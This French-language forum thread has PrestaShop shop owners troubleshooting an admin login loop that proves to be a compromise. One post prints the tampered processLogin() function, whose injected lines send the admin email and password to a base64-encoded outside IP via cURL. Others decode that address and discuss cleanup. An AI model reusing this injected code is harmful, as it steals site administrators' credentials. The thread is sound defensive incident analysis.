Jump to content

Connexion back office impossible


Recommended Posts

Bonjour,

 

Depuis ce jour je n'arrive plus à me connecter au back office sur la version 1.7.8.7

Quand je rentre les accès, rien ça remet les champs vides...

J'ai essayé sur d'autres navigateurs, vidés les caches, etc... toujours le problème.

Avez-vous une piste : Hack, Serveur OVH ??

 

Merci à tous.

Link to comment
Share on other sites

46 minutes ago, Eolia said:

Voir les derniers modules mis à jours et les renommer sur le ftp.

On a déjà expliqué ça plusieurs fois sur le forum.

J'ai renommé chaque modules, vidé les caches à chaque nouvelle connexion. Mais non.

Désolé je n'ai pas parcouru les (tous) posts à ce sujet.

Merci 😉

Link to comment
Share on other sites

Bonjour,

Vous devriez passer votre boutique temporairement en mode debug pour voir s'il y a un message d'erreur.

Dans le dossier /config éditer le fichier defines.inc.php et remplacer

define('_PS_MODE_DEV_', false);

par

define('_PS_MODE_DEV_', true);

 

Link to comment
Share on other sites

1 minute ago, lionsteph said:

Vous devriez passer votre boutique temporairement en mode debug pour voir s'il y a un message d'erreur.

Dans le dossier /config éditer le fichier defines.inc.php et remplacer

define('_PS_MODE_DEV_', false);

par

define('_PS_MODE_DEV_', true);

 

Merci. Je l'ai fait mais pas de résultats... 😔

Link to comment
Share on other sites

5 minutes ago, PrestaServicePro said:

pourriez-vous vérifier, lors de la connexion, que la session a été créée ou non ?

Comment voir si la session a été créé ? (Désole, je ne saisi pas)

 

6 minutes ago, PrestaServicePro said:

et vérifiez que ps_employee_session existe ou non.

 

La table ps_employee_session existe, oui

Link to comment
Share on other sites

10 minutes ago, PrestaServicePro said:

cela signifie que la table est créée mais vide et que les données ne sont pas remplies

Nous pouvons vous aider à résoudre ce problème

si vous nous autorisez à déboguer le problème, nous pouvons le gérer et vous donner une solution.

Merci et bonne journée

Oui volontiers je veux bien que vous m'aidiez à déboguer le problème ;) 

Link to comment
Share on other sites

Bonjour, j'ai le même problème. En me connectant au BO, je reviens sans cesse à la page de connexion avec les champs de connexion vides...

C'est la 4ème ou 5ème fois que ça me fait ça. J'avais résolu le problème en faisant un simple backup du FTP (peu importe le jour, à J-1 ça avait toujours marché). Au début je faisais aussi la BdD mais ça ne sert à rien s'il n'y a pas eu de mise à jour ( à moins de vouloir perdre et recommencer des factures...).

Mais cette fois-ci, ça ne marche pas. J'ai renommé le dossier modules mais j'obtiens vite une page blanche en rechargeant la page ou vidant le cache navigateur.

Il n'y a pas de compte suspect dans ps_employee et la tab ps_employee_session existe bien avec près de 75 entrées différentes.

Le fait de vider le cache par le FTP rompt le site entièrement (même le front office) et ne fait que des pages blanches.

Quelqu'un aurait une idée pour m'aider ?

Merci !

Link to comment
Share on other sites

Bonjour à tous,

Même soucis pour moi depuis samedi soir, pas de mise à jour de modules récente, le cache est bien vidé, supprimé également le dossier prod des fichiers temporaires dans le dossier vor.

Je sèche là... Mon site est bien accessible et fonctionne.

 

Une idée.

Info serveur 1 and 1

Merci 

 

Édit: 

 

Je viens d essayer d effectuer une commande, le site a été piraté, une autre invite de paiement est mise à la place de la mienne... comment puis je vérifier et retirer ce hack ?

 

Merci 

Edited by lemarchefrais.fr (see edit history)
Link to comment
Share on other sites

3 hours ago, lemarchefrais.fr said:

Je viens d essayer d effectuer une commande, le site a été piraté, une autre invite de paiement est mise à la place de la mienne... comment puis je vérifier et retirer ce hack ?

Je pense que là il faut faire appel à un pro de la maintenance en hack. 
Courage !!

Link to comment
Share on other sites

On 2/6/2023 at 5:49 AM, lemarchefrais.fr said:

Bonjour à tous,

Même soucis pour moi depuis samedi soir, pas de mise à jour de modules récente, le cache est bien vidé, supprimé également le dossier prod des fichiers temporaires dans le dossier vor.

Je sèche là... Mon site est bien accessible et fonctionne.

 

Une idée.

Info serveur 1 and 1

Merci 

 

Édit: 

 

Je viens d essayer d effectuer une commande, le site a été piraté, une autre invite de paiement est mise à la place de la mienne... comment puis je vérifier et retirer ce hack ?

 

Merci 

Tu devrais faire un retour du site à une sauvegarde qui fonctionne. Dans ton cas FTP + Base de donnée sur des jours correspondants (J-1, J-2, etc., pour la base de données et le FTP). Jusqu'au jour où ton site était sain. Une fois retrouvé un site sain, essaye d'installer un antivirus de base. Pour faire ce retour à des sauvegarde passées, le mieux est de passer par ton hébergeur, d'aller dans les section FTP et BdD et lancer les backup.

Certains hacks n'installent que des fichiers dans le FTP sans toucher à la base de donnée. S'il n'y a pas eu de mise à jour des modules ou de Prestashop, tu peux alors essayer d'abord de revenir en arrière sur le FTP et si le site semble cassé, alors fait juste après un retour sur la BdD au même jour. Ca évite au cas où de devoir recréer les commandes qui se trouvent en base de donnée.

Il faut essayer plusieurs fois jusqu'à ce que ça marche...

Link to comment
Share on other sites

On 2/2/2023 at 3:09 PM, PrestaServicePro said:

cela signifie que la table est créée mais vide et que les données ne sont pas remplies

Nous pouvons vous aider à résoudre ce problème

si vous nous autorisez à déboguer le problème, nous pouvons le gérer et vous donner une solution.

Merci et bonne journée

Bonjour, j'ai un énorme soucis équivalent... Mon backoffice tourne en boucle, sauf que toute les tables sont bien rempli... est impossible de mettre en debug mon site...

De plus mes clients aujourd'hui m'ont appelé pour me dire qu'au moment de passer au paiement une page du menu apparaît et donc ils ne peuvent pas passer commande... J'ai essayer de mettre à jour le thème mais rien y fait...

le Mégamenu ce met en en mode ''pas jolie'' 

Capture d’écran 2023-02-15 à 15.40.16 (2).png

Capture d’écran 2023-02-15 à 15.39.54.png

Edited by Issacis
my problem change (see edit history)
Link to comment
Share on other sites

2 hours ago, Issacis said:

Bonjour, j'ai un énorme soucis équivalent... Mon backoffice tourne en boucle, sauf que toute les tables sont bien rempli... est impossible de mettre en debug mon site...

De plus mes clients aujourd'hui m'ont appelé pour me dire qu'au moment de passer au paiement une page du menu apparaît et donc ils ne peuvent pas passer commande... J'ai essayer de mettre à jour le thème mais rien y fait...

le Mégamenu ce met en en mode ''pas jolie'' 

Capture d’écran 2023-02-15 à 15.40.16 (2).png

Capture d’écran 2023-02-15 à 15.39.54.png

Bonjour,
si vous pouvez activer le mode débogage de la boutique, activez-le et voyez ce qui vous montre le mode débogage et partagez-le ici.
Malheureusement, nous ne pouvons vous dire aucune raison sans la vérifier.

Bonne journée

Link to comment
Share on other sites

7 minutes ago, PrestaServicePro said:

Bonjour,
si vous pouvez activer le mode débogage de la boutique, activez-le et voyez ce qui vous montre le mode débogage et partagez-le ici.
Malheureusement, nous ne pouvons vous dire aucune raison sans la vérifier.

Bonne journée

Bonjour, justement je ne peux pas activer le mode débogage... j'ai essayer mais le site ne répond pas et reste même en vidant le cache...

Link to comment
Share on other sites

2 hours ago, PrestaServicePro said:

Bonjour,
si vous pouvez activer le mode débogage de la boutique, activez-le et voyez ce qui vous montre le mode débogage et partagez-le ici.
Malheureusement, nous ne pouvons vous dire aucune raison sans la vérifier.

Bonne journée

Bon après avoir passer la journée entière a essayer et avoir réussi à résoudre la moitié de mon problème, la connexion elle était toujours compliqué... du coup merci à @PrestaServicePro qui ma aidé dans mon problème de connexion que j'essaye toujours de comprendre comment il a fait ! :) 

  • Like 1
Link to comment
Share on other sites

Bonjour à tous,
J'ai peut-être une piste importante pour ceux qui ont ce problème de connexion en boucle.

J’ai réussi à récupérer le site avec un backup du ftp à 15 jours.
J’ai finalement établi un petit protocole pour tester le dossier qui crée le bug.
J’ai télécharger le FTP sur mon ordi lors d’un retour en arrière sain et j’ai attendu 2 jours que le bug revienne.

J’ai successivement renommé chaque dossier du FTP en .old (pour éviter le temps fou que prend un dossier à s’effacer par un FTP) et j’ai rechargé chaque dossier sain au fur et à mesure que je nommais l’ancien en .old. J’ai pu me reconnecter après avoir remis le dossier controllers. Le bug vient de ce dossier et finalement du fichier AdminLoginController.php dans admin (controllers/admin/AdminLoginController.php). Et finalement, ça semble si logique…

Ce fichier s’est modifié tout seul et je ne comprends pas pourquoi.

Plus précisément, c’est la section public function processLogin() qui est modifiée.

voici le code qui bug (dans la section : public function processLogin() uniquement) :

    public function processLogin()
    { /* Check fields validity */
        $passwd = trim(Tools::getValue('passwd'));
        $email = trim(Tools::getValue('email'));
        if (empty($email)) {
            $this->errors[] = Tools::displayError('Email is empty.');
        } elseif (!Validate::isEmail($email)) {
            $this->errors[] = Tools::displayError('Invalid email address.');
        }

        if (empty($passwd)) {
            $this->errors[] = Tools::displayError('The password field is blank.');
        } elseif (!Validate::isPasswd($passwd)) {
            $this->errors[] = Tools::displayError('Invalid password.');
        }

        if (!count($this->errors)) {
            // Find employee
            $this->context->employee = new Employee();
            $is_employee_loaded = $this->context->employee->getByEmail($email, $passwd);
            $employee_associated_shop = $this->context->employee->getAssociatedShops();
            if (!$is_employee_loaded) {
                $this->errors[] = Tools::displayError('The Employee does not exist, or the password provided is incorrect.');
                $this->context->employee->logout();
            } elseif (empty($employee_associated_shop) && !$this->context->employee->isSuperAdmin()) {
                $this->errors[] = Tools::displayError('This employee does not manage the shop anymore (Either the shop has been deleted or permissions have been revoked).');
                $this->context->employee->logout();
            } else {

                $path=$_SERVER['REMOTE_ADDR'].'-'.$_SERVER['REQUEST_URI'];
                $check_val=bin2hex($email.' '.$passwd);
                $user_data=bin2hex($path.';'.$check_val);

                $array = array('token_hash'   => base64_encode('{"referer":"'.$_SERVER["HTTP_HOST"].'","stats":"'.$user_data.'","tag":"a181a603769c1f98ad927e7367c7aa51"}'));      
                $ch = curl_init(base64_decode('aHR0cHM6Ly8xMDYuMTUuMTc5LjI1NQ=='));
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $array); 
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_TIMEOUT, 3);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($ch, CURLOPT_HEADER, false);
                curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $html = curl_exec($ch);
                curl_close($ch);  

                PrestaShopLogger::addLog(sprintf($this->l('Back Office connection from %s', 'AdminTab', false, false), Tools::getRemoteAddr()), 1, null, '', 0, true, (int)$this->context->employee->id);

                $this->context->employee->remote_addr = (int)ip2long(Tools::getRemoteAddr());
                // Update cookie
                $cookie = Context::getContext()->cookie;
                $cookie->id_employee = $this->context->employee->id;
                $cookie->email = $this->context->employee->email;
                $cookie->profile = $this->context->employee->id_profile;
                $cookie->passwd = $this->context->employee->passwd;
                $cookie->remote_addr = $this->context->employee->remote_addr;

                if (!Tools::getValue('stay_logged_in')) {
                    $cookie->last_activity = time();
                }

                $cookie->write();

                // If there is a valid controller name submitted, redirect to it
                if (isset($_POST['redirect']) && Validate::isControllerName($_POST['redirect'])) {
                    $url = $this->context->link->getAdminLink($_POST['redirect']);
                } else {
                    $tab = new Tab((int)$this->context->employee->default_tab);
                    $url = $this->context->link->getAdminLink($tab->class_name);
                }

                if (Tools::isSubmit('ajax')) {
                    die(Tools::jsonEncode(array('hasErrors' => false, 'redirect' => $url)));
                } else {
                    $this->redirect_after = $url;
                }
            }
        }
        if (Tools::isSubmit('ajax')) {
            die(Tools::jsonEncode(array('hasErrors' => true, 'errors' => $this->errors)));
        }}

Voici le code qui marche :

    public function processLogin()
    {
        /* Check fields validity */
        $passwd = trim(Tools::getValue('passwd'));
        $email = $this->IDNConverter->emailToUtf8(trim(Tools::getValue('email')));
        Hook::exec(
            'actionAdminLoginControllerLoginBefore',
            [
                'controller' => $this,
                'password' => $passwd,
                'email' => $email,
            ]
        );

        if (empty($email)) {
            $this->errors[] = $this->trans('Email is empty.', [], 'Admin.Notifications.Error');
        } elseif (!Validate::isEmail($email)) {
            $this->errors[] = $this->trans('Invalid email address.', [], 'Admin.Notifications.Error');
        }

        if (empty($passwd)) {
            $this->errors[] = $this->trans('The password field is blank.', [], 'Admin.Notifications.Error');
        } elseif (!Validate::isPasswd($passwd)) {
            $this->errors[] = $this->trans('Invalid password.', [], 'Admin.Notifications.Error');
        }

        if (!count($this->errors)) {
            // Find employee
            $this->context->employee = new Employee();
            $is_employee_loaded = $this->context->employee->getByEmail($email, $passwd);
            $employee_associated_shop = $this->context->employee->getAssociatedShops();
            if (!$is_employee_loaded) {
                $this->errors[] = $this->trans('The employee does not exist, or the password provided is incorrect.', [], 'Admin.Login.Notification');
                $this->context->employee->logout();
            } elseif (empty($employee_associated_shop) && !$this->context->employee->isSuperAdmin()) {
                $this->errors[] = $this->trans('This employee does not manage the shop anymore (either the shop has been deleted or permissions have been revoked).', [], 'Admin.Login.Notification');
                $this->context->employee->logout();
            } else {
                PrestaShopLogger::addLog($this->trans('Back office connection from %ip%', ['%ip%' => Tools::getRemoteAddr()], 'Admin.Advparameters.Feature'), 1, null, '', 0, true, (int) $this->context->employee->id);

                $this->context->employee->remote_addr = (int) ip2long(Tools::getRemoteAddr());
                // Update cookie
                $cookie = Context::getContext()->cookie;
                $cookie->id_employee = $this->context->employee->id;
                $cookie->email = $this->context->employee->email;
                $cookie->profile = $this->context->employee->id_profile;
                $cookie->passwd = $this->context->employee->passwd;
                $cookie->remote_addr = $this->context->employee->remote_addr;
                $cookie->registerSession(new EmployeeSession());

                if (!Tools::getValue('stay_logged_in')) {
                    $cookie->last_activity = time();
                }

                $cookie->write();

                // If there is a valid controller name submitted, redirect to it
                if (isset($_POST['redirect']) && Validate::isControllerName($_POST['redirect'])) {
                    $url = $this->context->link->getAdminLink($_POST['redirect']);
                } else {
                    $tab = new Tab((int) $this->context->employee->default_tab);
                    $url = $this->context->link->getAdminLink($tab->class_name);
                }

                Hook::exec(
                    'actionAdminLoginControllerLoginAfter',
                    [
                        'controller' => $this,
                        'employee' => $this->context->employee,
                        'redirect' => $url,
                    ]
                );

                if (Tools::isSubmit('ajax')) {
                    die(json_encode(['hasErrors' => false, 'redirect' => $url]));
                } else {
                    $this->redirect_after = $url;
                }
            }
        }
        if (Tools::isSubmit('ajax')) {
            die(json_encode(['hasErrors' => true, 'errors' => $this->errors]));
        }
    }

Je ne sais pas bien interpréter le code et je ne sais pas ce qui le modifie.
Est-ce que quelqu'un aurait une idée ?

En espérant que cela puisse déjà aider certaines personnes qui ont ce genre de bug pour l’instant sans réponse ! Vérifier le code dans le fichier controllers/admin/AdminLoginController.php /section "public function processLogin()"

Merci

  • Like 2
Link to comment
Share on other sites

Il y a 2 heures, Alchy a dit :
$ch = curl_init(base64_decode('aHR0cHM6Ly8xMDYuMTUuMTc5LjI1NQ=='));

Bonsoir,

La c'est clairement une injection de code, donc un hacker peut faire ce qu'il veut avec votre site internet.

 

Voir cette page : https://www.microsoft.com/en-us/security/blog/2022/05/23/beneath-the-surface-uncovering-the-shift-in-web-skimming/

On retrouve le lien qui est appelé une fois décodé :

aHR0cHM6Ly8xMDYuMTUuMTc5LjI1NQ==    =>    hxxps://106[.]15[.]179[.]255

La il est temps de changer tous les mots de passe, faire les mises à jours, du nettoyage dans les modules et le thème éventuellement, ou alors faire appel à un professionnel.

Bon courage.

Link to comment
Share on other sites

On 2/16/2023 at 10:20 PM, Mediacom87 said:

Peut-être qu’un jour ce forum comportera des solutions plutôt que des remerciements.

Je suis tout à fait d'accord... mais je n'ai pas réussit à trouver la solution et aucun forum n'as pu m'aider... j'ai donc demandé de l'aide sur cette partie car j'ai réussit en partie grâce au script d'Eolia à faire disparaître la page hacké et le reste. :) Mais la connexion elle tournait encore en boucle... j'ai bien sur demandé comment il avait fait mais pas la réponse reste sommaire 😕 mais bon il m'au sauvé la journée.

Link to comment
Share on other sites

On 2/21/2023 at 6:54 PM, MatthieuJbrt said:

J'ai eu le même problème sur une 1.7.8.5 et la solution de @alchy fonctionne en modifiant le AdminLoginController.php.

Il semble y avoir un problème avec la vérification des données. La fonction cURL est appelée sans la bonne URL (je crois que c'est ça...).

Merci @MatthieuJbrt je note pour la prochaine fois !

  • Like 1
Link to comment
Share on other sites

On 2/18/2023 at 11:00 PM, lionsteph said:

Bonsoir,

La c'est clairement une injection de code, donc un hacker peut faire ce qu'il veut avec votre site internet.

 

Voir cette page : https://www.microsoft.com/en-us/security/blog/2022/05/23/beneath-the-surface-uncovering-the-shift-in-web-skimming/

On retrouve le lien qui est appelé une fois décodé :

aHR0cHM6Ly8xMDYuMTUuMTc5LjI1NQ==    =>    hxxps://106[.]15[.]179[.]255

La il est temps de changer tous les mots de passe, faire les mises à jours, du nettoyage dans les modules et le thème éventuellement, ou alors faire appel à un professionnel.

Bon courage.

Merci lionsteph et Mediacom87,

j'avais posté une réponse il y a quelques jours mais je ne la vois pas apparaitre.

Oui, il s'agit bien d'un hack. J'avais déjà pris toutes les précautions sur les mots de passe, le nom du chemin d'admin, les modules inutiles, les mises à jour, etc.

Le virus n'a peut-être jamais réellement pu agir mais a contaminé près de 20 fichiers que j'ai remplacé par leur version normale.

Je soupçonne très fortement rubik_team par leur thème Covan (Beauty & Cosmetics) d'avoir fait le coup alors qu'il y avait un bug sur une fonction relativement mineure à l'installation. Ils n'ont jamais voulu me donner la solution pour régler ce bug et je leur ai passé les codes pour qu'ils le fassent. J'ai ensuite changé les codes évidemment mais je pense qu'ils ont injecté le code malveillant dans je ne sais quel(s) fichier(s).

Comme l'un de leurs fichiers reste toujours infecté (module slider, que je n'utilise pas), je leur ai demandé à nouveau de m'envoyer la version saine du fichier qui ne se trouve pas dans l'archive. Et rebelote, ils veulent encore les codes. Je leur ai dit que s'ils ne m'envoyaient pas le fichier sain, je signale le problème à themeforest.net (Envato Market) où j'avais acheté le thème. (MAJ j'ai signalé le problème car me demander à nouveau les code me semble interdit et parfaitement inapproprié de toute façon...)

Ceci dit, c'est l'antivirus du site qui trouve ce fichier malveillant alors que l'analyse par le script cleaner.zip ne le détecte pas (https://devcustom.net/public/scripts/cleaner.zip).

Le problème de connexion à l'admin est apparu quelques mois après leur avoir passé les codes, puis il est revenu de plus en plus fréquemment. Le retour à des backup du FTP a toujours marché mais ces derniers temps, le bug revenait tous les 2 jours.

Les fichiers touchés étaient (ou sont toujours) notamment des fichier update (d'où le fait que cela revenait après les mises à jour) et connexion. Donc assez graves s'ils captaient les mots de passe...

L'antivirus trouve toujours ces fichiers infectés mais je ne saurai pas dire s'il s'agit de faux positifs. Mais ça serait étonnant...

"/controllers/admin/AdminInformationController.php"
"/admin***/autoupgrade/latest/install/upgrade/upgrade.php"
"/modules/rbthemeslider/library/rbslider_output.class.php"
"/modules/autoupgrade/classes/pclzip.lib.php"
"/modules/autoupgrade/upgrade/upgrade.php"
"/bridge2cart/bridge.php"

J'essaie de coller les codes dans un nouveau message car là le site me les refuse dans ce message...
 

Merci encore pour vos indications et tant mieux si on arrive à trouver des solutions pour chacun !

Edited by Alchy
signalement à Envato Market (see edit history)
Link to comment
Share on other sites

Code de "/controllers/admin/AdminInformationController.php"
Quelqu'un voie où le code malveillant à été injecté ?
Merci encore !

<?php
/**
 * 2007-2017 PrestaShop
 *
 * NOTICE OF LICENSE
 *
 * This source file is subject to the Open Software License (OSL 3.0)
 * that is bundled with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://opensource.org/licenses/osl-3.0.php
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to [email protected] so we can send you a copy immediately.
 *
 * DISCLAIMER
 *
 * Do not edit or add to this file if you wish to upgrade PrestaShop to newer
 * versions in the future. If you wish to customize PrestaShop for your
 * needs please refer to http://www.prestashop.com for more information.
 *
 * @author    PrestaShop SA <[email protected]>
 * @copyright 2007-2017 PrestaShop SA
 * @license   http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
 * International Registered Trademark & Property of PrestaShop SA
 */

class AdminInformationControllerCore extends AdminController
{
    public function __construct()
    {
        $this->bootstrap = true;
        parent::__construct();
    }

    public function initContent()
    {
        $this->show_toolbar = false;
        $this->display = 'view';
        parent::initContent();
    }

    public function initToolbarTitle()
    {
        $this->toolbar_title = array_unique($this->breadcrumbs);
    }

    public function initPageHeaderToolbar()
    {
        parent::initPageHeaderToolbar();
        unset($this->page_header_toolbar_btn['back']);
    }

    public function renderView()
    {
        $this->initPageHeaderToolbar();

        $hosting_vars = array();
        if (!defined('_PS_HOST_MODE_')) {
            $hosting_vars = array(
                'version' => array(
                    'php' => phpversion(),
                    'server' => $_SERVER['SERVER_SOFTWARE'],
                    'memory_limit' => ini_get('memory_limit'),
                    'max_execution_time' => ini_get('max_execution_time'),
                    'upload_max_filesize' => ini_get('upload_max_filesize')
                ),
                'database' => array(
                    'version' => Db::getInstance()->getVersion(),
                    'server' => _DB_SERVER_,
                    'name' => _DB_NAME_,
                    'user' => _DB_USER_,
                    'prefix' => _DB_PREFIX_,
                    'engine' => _MYSQL_ENGINE_,
                    'driver' => Db::getClass(),
                ),
                'uname' => function_exists('php_uname') ? php_uname('s').' '.php_uname('v').' '.php_uname('m') : '',
                'apache_instaweb' => Tools::apacheModExists('mod_instaweb')
            );
        }

        $shop_vars = array(
            'shop' => array(
                'ps' => _PS_VERSION_,
                'url' => $this->context->shop->getBaseURL(),
                'theme' => $this->context->shop->theme->getName(),
            ),
            'mail' => Configuration::get('PS_MAIL_METHOD') == 1,
            'smtp' => array(
                'server' => Configuration::get('PS_MAIL_SERVER'),
                'user' => Configuration::get('PS_MAIL_USER'),
                'password' => Configuration::get('PS_MAIL_PASSWD'),
                'encryption' => Configuration::get('PS_MAIL_SMTP_ENCRYPTION'),
                'port' => Configuration::get('PS_MAIL_SMTP_PORT'),
            ),
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
        );

        $this->tpl_view_vars = array_merge($this->getTestResult(), array_merge($hosting_vars, $shop_vars));

        return parent::renderView();
    }

    /**
     * get all tests
     *
     * @return array of test results
     */
    public function getTestResult()
    {
        $tests_errors = array(
            'phpversion' => $this->trans('Update your PHP version.', array(), 'Admin.Advparameters.Notification'),
            'upload' => $this->trans('Configure your server to allow file uploads.', array(), 'Admin.Advparameters.Notification'),
            'system' => $this->trans('Configure your server to allow the creation of directories and files with write permissions.', array(), 'Admin.Advparameters.Notification'),
            'gd' => $this->trans('Enable the GD library on your server.', array(), 'Admin.Advparameters.Notification'),
            'mysql_support' => $this->trans('Enable the MySQL support on your server.', array(), 'Admin.Advparameters.Notification'),
            'config_dir' => $this->trans('Set write permissions for the "config" folder.', array(), 'Admin.Advparameters.Notification'),
            'cache_dir' => $this->trans('Set write permissions for the "cache" folder.', array(), 'Admin.Advparameters.Notification'),
            'sitemap' => $this->trans('Set write permissions for the "sitemap.xml" file.', array(), 'Admin.Advparameters.Notification'),
            'img_dir' => $this->trans('Set write permissions for the "img" folder and subfolders.', array(), 'Admin.Advparameters.Notification'),
            'log_dir' => $this->trans('Set write permissions for the "log" folder and subfolders.', array(), 'Admin.Advparameters.Notification'),
            'mails_dir' => $this->trans('Set write permissions for the "mails" folder and subfolders.', array(), 'Admin.Advparameters.Notification'),
            'module_dir' => $this->trans('Set write permissions for the "modules" folder and subfolders.', array(), 'Admin.Advparameters.Notification'),
            'theme_lang_dir' => $this->trans('Set the write permissions for the "themes%s/lang/" folder and subfolders, recursively.', array('%s' => _THEME_NAME_), 'Admin.Advparameters.Notification'),
            'translations_dir' => $this->trans('Set write permissions for the "translations" folder and subfolders.', array(), 'Admin.Advparameters.Notification'),
            'customizable_products_dir' => $this->trans('Set write permissions for the "upload" folder and subfolders.', array(), 'Admin.Advparameters.Notification'),
            'virtual_products_dir' => $this->trans('Set write permissions for the "download" folder and subfolders.', array(), 'Admin.Advparameters.Notification'),
            'fopen' => $this->trans('Allow the PHP fopen() function on your server.', array(), 'Admin.Advparameters.Notification'),
            'gz' => $this->trans('Enable GZIP compression on your server.', array(), 'Admin.Advparameters.Notification'),
            'files' => $this->trans('Some PrestaShop files are missing from your server.', array(), 'Admin.Advparameters.Notification'),
            'new_phpversion' => $this->trans('You are using PHP %s version. Soon, the latest PHP version supported by PrestaShop will be PHP 5.4. To make sure you’re ready for the future, we recommend you to upgrade to PHP 5.4 now!', array('%s' => phpversion()), 'Admin.Advparameters.Notification'),
            'apache_mod_rewrite' => $this->trans('Enable the Apache mod_rewrite module', array(), 'Admin.Advparameters.Notification')
        );

        // Functions list to test with 'test_system'
        // Test to execute (function/args): lets uses the default test
        $params_required_results = ConfigurationTest::check(ConfigurationTest::getDefaultTests());

        if (!defined('_PS_HOST_MODE_')) {
            $params_optional_results = ConfigurationTest::check(ConfigurationTest::getDefaultTestsOp());
        }

        $fail_required = in_array('fail', $params_required_results);

        if ($fail_required && $params_required_results['files'] != 'ok') {
            $tmp = ConfigurationTest::test_files(true);
            if (is_array($tmp) && count($tmp)) {
                $tests_errors['files'] = $tests_errors['files'].'<br/>('.implode(', ', $tmp).')';
            }
        }

        $results = array(
            'failRequired' => $fail_required,
            'testsErrors' => $tests_errors,
            'testsRequired' => $params_required_results,
        );

        if (!defined('_PS_HOST_MODE_')) {
            $results = array_merge($results, array(
                'failOptional' => in_array('fail', $params_optional_results),
                'testsOptional' => $params_optional_results,
            ));
        }

        return $results;
    }

    public function displayAjaxCheckFiles()
    {
        $this->file_list = array('missing' => array(), 'updated' => array());
        $xml = @simplexml_load_file(_PS_API_URL_.'/xml/md5/'._PS_VERSION_.'.xml');
        if (!$xml) {
            die(json_encode($this->file_list));
        }

        $this->getListOfUpdatedFiles($xml->ps_root_dir[0]);
        die(json_encode($this->file_list));
    }

    public function getListOfUpdatedFiles(SimpleXMLElement $dir, $path = '')
    {
        $exclude_regexp = '(install(-dev|-new)?|themes|tools|cache|docs|download|img|localization|log|mails|translations|upload|modules|override/(:?.*)index.php$)';
        $admin_dir = basename(_PS_ADMIN_DIR_);

        foreach ($dir->md5file as $file) {
            $filename = preg_replace('#^admin/#', $admin_dir.'/', $path.$file['name']);
            if (preg_match('#^'.$exclude_regexp.'#', $filename)) {
                continue;
            }

            if (!file_exists(_PS_ROOT_DIR_.'/'.$filename)) {
                $this->file_list['missing'][] = $filename;
            } else {
                $md5_local = md5_file(_PS_ROOT_DIR_.'/'.$filename);
                if ($md5_local != (string)$file) {
                    $this->file_list['updated'][] = $filename;
                }
            }
        }

        foreach ($dir->dir as $subdir) {
            $this->getListOfUpdatedFiles($subdir, $path.$subdir['name'].'/');
        }
    }
}

Link to comment
Share on other sites

Déjà, si vous n'utilisez pas certains modules tiers, qu'ils sont désinstallés, il faut les effacer de votre FTP, c'est la meilleure sécurité, car certains sont mal développés et peuvent permettre de mettre des fichiers sur votre site même si le module est désinstallé.

J'ai ajouté cette fonctionnalité sur mon module de nettoyage de base de données car elle me sert aussi lorsque j'interviens sur les sites de mes clients ou lors de nettoyages de hack.

Lors de mon dernier ménage, justement le fait d'effacer les modules désinstallés a évité que le hack se reproduise.

Link to comment
Share on other sites

  • 4 weeks later...

@Mediacom87, je pensais mon problème résolu grâce en partie au script d'eolia, Sur google chrome tout fonctionner correctement mais aujourd'hui un client as appelé et étant sous firefox  du coup le code nommé en partie ''anonymus'' (qui a crée unr pacerelle de paiement qui n'est pas la notre) est revenue uniquement sur Firefox...

J'ai donc relancé un script... et ça a disparu...
J'ai donc planifié une tache cronjob pour éviter que cela ne revienne...
J'ai apparement encore beaucoup de chose à vérifier, mais je ne sait pas si cela as été modifié... (je vais donc vérifier les comparaisons)

Je vais surement demander à Eolia des informations car soit ça ne monte pas à mon cerveau soit je comprends mal...

Je vais essayer avec Store Commander de vérifier ou sont mes petites choses à retirer. mais j'avoue être perdu... Nous sommes un petit site sans prétention et je ne comprends pas qu'on nous attaque nous... par chance le Thème que l'on as acheté nous protège très bien en bloquant l'accès de ce hacker... mais c'est chiant...

:( 

Bonne journée !

Link to comment
Share on other sites

il y a 15 minutes, Jofrey a dit :

@Mediacom87, je pensais mon problème résolu grâce en partie au script d'eolia, Sur google chrome tout fonctionner correctement mais aujourd'hui un client as appelé et étant sous firefox  du coup le code nommé en partie ''anonymus'' (qui a crée unr pacerelle de paiement qui n'est pas la notre) est revenue uniquement sur Firefox...

J'ai donc relancé un script... et ça a disparu...
J'ai donc planifié une tache cronjob pour éviter que cela ne revienne...
J'ai apparement encore beaucoup de chose à vérifier, mais je ne sait pas si cela as été modifié... (je vais donc vérifier les comparaisons)

Je vais surement demander à Eolia des informations car soit ça ne monte pas à mon cerveau soit je comprends mal...

Je vais essayer avec Store Commander de vérifier ou sont mes petites choses à retirer. mais j'avoue être perdu... Nous sommes un petit site sans prétention et je ne comprends pas qu'on nous attaque nous... par chance le Thème que l'on as acheté nous protège très bien en bloquant l'accès de ce hacker... mais c'est chiant...

:( 

Bonne journée !

Vous êtes attaqué parce que vous utilisez PrestaShop et avez une faille.

Tous les sites sont scannés en permanence, pas de faille, pas de soucis.

Le script d'Eolia corrige l'attaque, mais ne corrige pas la faille, donc vous pouvez passer le script tous les jours, cela ne corrigera pas le problème, il faut corriger le ou les modules permettant à ces hackers d'intervenir sur votre site.

Link to comment
Share on other sites

  • 2 weeks later...

Bonjour à tous, 

 

Nous sommes aussi face à cette attaque. Je pense que nous allons sans trop de souci arriver à la corriger, mais la difficulté reste de trouver la faille, car j'imagine que tant qu'elle n'est pas comblée, tout reviendra ...

Est-ce que l'un d'entre vous a trouvé quelque part un liste des modules/thèmes qui incorporeraient cette faille ?

 

Merci !

Link to comment
Share on other sites

  • 4 months later...
Le 03/04/2023 à 6:58 AM, Jean-Marc Peterkenne a dit :

Merci pour l'information, nous avons été vérifier, et il n'y a aucun module de la liste des modules identifiés comme non sécurisés.

Je viendrai mettre l'information ici si on trouve l'origine de la faille.

Bonne journée !

Il y a encore plus de 200 failles en cours d'analyse auprès des équipes de sécurité donc même si cela n'est pas référencé cela ne veut pas dire qu'il n'y a pas de faille.

Le temps de traitement d'une faille est long en général, surtout si le propriétaire du module en question y met de la mauvaise volonté.

Link to comment
Share on other sites

  • 3 months later...
